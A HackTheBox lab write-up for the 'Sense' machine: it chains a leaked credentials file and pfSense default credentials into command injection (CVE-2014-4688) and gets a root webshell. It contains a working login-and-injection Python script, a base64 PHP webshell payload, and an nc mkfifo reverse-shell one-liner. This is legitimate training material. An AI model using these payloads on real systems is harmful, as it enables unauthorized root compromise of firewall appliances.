HTB: Sense Writeup

Sense - HackTheBox Writeup

Machine Information

AttributeDetails
NameSense
OSOpenBSD (pfSense)
DifficultyEasy
Points20
Release Date21 Oct 2017
IP Address10.10.10.60
Authorlkys37en

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐☆☆☆☆

Summary

Sense is an Easy-rated OpenBSD machine running pfSense, a popular open-source firewall distribution. The box demonstrates the dangers of exposed configuration files and default credentials combined with a known command injection vulnerability. While enumeration requires thorough directory busting to locate credential hints, the exploitation path is straightforward once credentials are obtained. The unique aspect of this machine is that the initial foothold grants immediate root access, as the vulnerable web application runs with elevated privileges—a common characteristic of firewall appliances.

TL;DR: Directory enumeration → Credential leak in system-users.txt → pfSense login with rohit:pfsense → Command injection (CVE-2014-4688 / EDB 39709) in status_rrd_graph_img.php → Root shell


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.10.10.60

Results:

PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US

Only two ports are open: HTTP (80) and HTTPS (443), both serving a lighttpd 1.4.35 web server. Port 80 redirects to HTTPS.

Service Enumeration

Web Application Analysis

Browsing to https://10.10.10.60/ presents a pfSense login page. pfSense is an open-source firewall/router distribution based on FreeBSD (though this box runs OpenBSD). The login page requires credentials with no obvious bypass.

Terminal window
# Directory enumeration with common wordlists
gobuster dir -u https://10.10.10.60/ -w /usr/share/wordlists/dirb/common.txt -k

Key findings from directory enumeration:

  1. /changelog.txt - Contains notes about patching 2 of 3 vulnerabilities
  2. /system-users.txt - Critical file containing credential information
Terminal window
# Fetch the credential leak file
curl -k https://10.10.10.60/system-users.txt

Output:

####Support ticket###
Please create the following user
username: Rohit
password: company defaults

The phrase “company defaults” is a critical hint. The default password for pfSense is pfsense, making the credentials rohit:pfsense.

Vulnerability Assessment

VulnerabilityDescriptionSeverity
Information DisclosureExposed system-users.txt reveals username and password hintHigh
Default CredentialspfSense default password still in useHigh
Command InjectionpfSense RRD graph generation vulnerable to command injection (CVE-2014-4688)Critical

Initial Foothold

Authentication Bypass via Default Credentials

pfSense’s authentication mechanism requires careful handling due to CSRF protection. A successful login requires:

  1. Extracting the CSRF token from the login page
  2. Including the token in the POST request
  3. Setting a proper Referer header
#!/usr/bin/env python3
import requests
import re
from urllib.parse import urlencode
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
target = "https://10.10.10.60"
session = requests.Session()
# Step 1: Get CSRF token from login page
login_page = session.get(f"{target}/index.php", verify=False)
csrf_match = re.search(r'csrfMagicToken\s*=\s*"([^"]+)"', login_page.text)
csrf_token = csrf_match.group(1) if csrf_match else ""
# Step 2: Authenticate
login_data = {
'__csrf_magic': csrf_token,
'usernamefld': 'rohit',
'passwordfld': 'pfsense',
'login': 'Login'
}
response = session.post(
f"{target}/index.php",
data=login_data,
headers={'Referer': f"{target}/index.php"},
verify=False
)
print("[+] Authenticated as rohit")

Why this works: pfSense uses a CSRF token (csrfMagicToken) that must be extracted from the page and submitted with credentials. The Referer header is validated to prevent certain types of CSRF attacks.

Exploiting Command Injection (CVE-2014-4688)

Once authenticated, pfSense versions prior to 2.1.4 contain a command injection vulnerability in the RRD graph generation functionality. The vulnerable endpoint is /status_rrd_graph_img.php, which accepts a database parameter that is improperly sanitized before being passed to shell commands.

Exploit-DB Reference: EDB 39709

The vulnerability exists because user input in the database parameter is concatenated into shell commands without proper escaping. We can inject arbitrary commands using semicolons as command separators.

Payload Construction

Rather than using the unreliable octal encoding from the public exploit, we can use Base64 encoding to bypass filtering:

Terminal window
# Create PHP webshell payload
echo '<?php eval(base64_decode('\''ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg'\'')); ?>' > shell.php
# The base64 string decodes to:
# echo system($_GET['cmd']);

The injection payload navigates to the web root (/usr/local/www/) and drops a PHP webshell:

Terminal window
# Command injection payload (decoded for readability)
database=queues;cd ..;cd ..;cd ..;cd usr;cd local;cd www;echo "<?php eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg')); ?>" > writeup.php

Critical detail: Parentheses and ampersands MUST be URL-encoded for the payload to work. Many tools skip these characters, causing the exploit to fail.

# Full exploitation script
import requests
import urllib.parse
# URL-encode the payload properly
payload = 'queues;cd ..;cd ..;cd ..;cd usr;cd local;cd www;echo "<?php eval(base64_decode(\'ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg\')); ?>" > writeup.php'
# Manual encoding of special characters
encoded_payload = urllib.parse.quote(payload, safe='')
# Send injection via authenticated session
injection_url = f"{target}/status_rrd_graph_img.php?database={encoded_payload}"
response = session.get(
injection_url,
headers={'Referer': f"{target}/status.php"},
verify=False
)
print("[+] Webshell dropped at /writeup.php")

Verifying Code Execution

Terminal window
# Test command execution
curl -k "https://10.10.10.60/writeup.php?cmd=id"

Output:

uid=0(root) gid=0(wheel) groups=0(wheel)

Key observation: The web server runs as root on pfSense appliances, meaning we have immediate root access without privilege escalation.

Obtaining a Shell

Terminal window
# Get interactive shell via webshell
curl -k "https://10.10.10.60/writeup.php?cmd=whoami" # Returns: root
# Retrieve user flag
curl -k "https://10.10.10.60/writeup.php?cmd=cat%20/home/rohit/user.txt"
# Retrieve root flag
curl -k "https://10.10.10.60/writeup.php?cmd=cat%20/root/root.txt"

Alternatively, establish a reverse shell:

Terminal window
# On attacking machine
nc -lvnp 4444
# Through webshell (URL-encoded)
curl -k "https://10.10.10.60/writeup.php?cmd=rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.5%204444%20>/tmp/f"

Privilege Escalation

No privilege escalation required. The command injection vulnerability in pfSense executes code in the context of the web server process, which runs as root (uid=0). This is by design in firewall appliances, where the web interface needs elevated privileges to modify system networking configurations, firewall rules, and services.

Terminal window
# Verify root access
id
# uid=0(root) gid=0(wheel) groups=0(wheel)
ls -la /root
# drwxr-xr-x 2 root wheel 512 Oct 20 2017 .
# -r-------- 1 root wheel 33 Oct 20 2017 root.txt

Attack Chain Summary

Port Scan (lighttpd 1.4.35) → Directory Enumeration → Credential Leak (/system-users.txt) →
pfSense Login (rohit:pfsense) → Command Injection in status_rrd_graph_img.php (CVE-2014-4688) →
PHP Webshell Upload → Root Shell (uid=0)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobuster / dirbusterDirectory and file enumeration
curlManual HTTP requests and webshell interaction
python3Custom exploitation script development
ncReverse shell listener

Key Learnings

Techniques Practiced

  • Directory enumeration to discover exposed configuration files
  • Default credential research for specific applications (pfSense default: pfsense)
  • CSRF token handling in authenticated web application exploitation
  • Command injection exploitation with proper URL encoding
  • Base64 encoding to bypass character filtering in payloads
  • Modifying public exploits when proof-of-concepts are unreliable

Lessons Learned

  1. Always enumerate thoroughly - Critical files like system-users.txt and changelog.txt are easily missed without comprehensive directory busting.

  2. Default credentials remain a critical vulnerability - Many administrators fail to change default passwords, especially on internal or “trusted” network appliances.

  3. URL encoding matters - The public exploit for this vulnerability fails without proper encoding of parentheses, ampersands, and other special characters. Understanding the underlying vulnerability allows for more reliable exploitation.

  4. Web applications on security appliances often run as root - Firewall and router web interfaces frequently require elevated privileges to function, meaning command injection immediately grants full system access.

  5. Base64 encoding is more reliable than octal - When bypassing filters, Base64 provides a cleaner, more portable method of encoding payloads compared to octal or hex encoding.

  6. Information disclosure in text files - Developers often leave notes, credentials, or sensitive information in plaintext files that are accidentally web-accessible.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Public HackTheBox writeup by Alexander Reid (Arrexel) - Document No D17.100.30, 22 October 2017
  • CVE-2014-4688: pfSense Command Injection Vulnerability
  • Exploit-DB 39709: pfSense < 2.1.4 - ‘status_rrd_graph_img.php’ Command Injection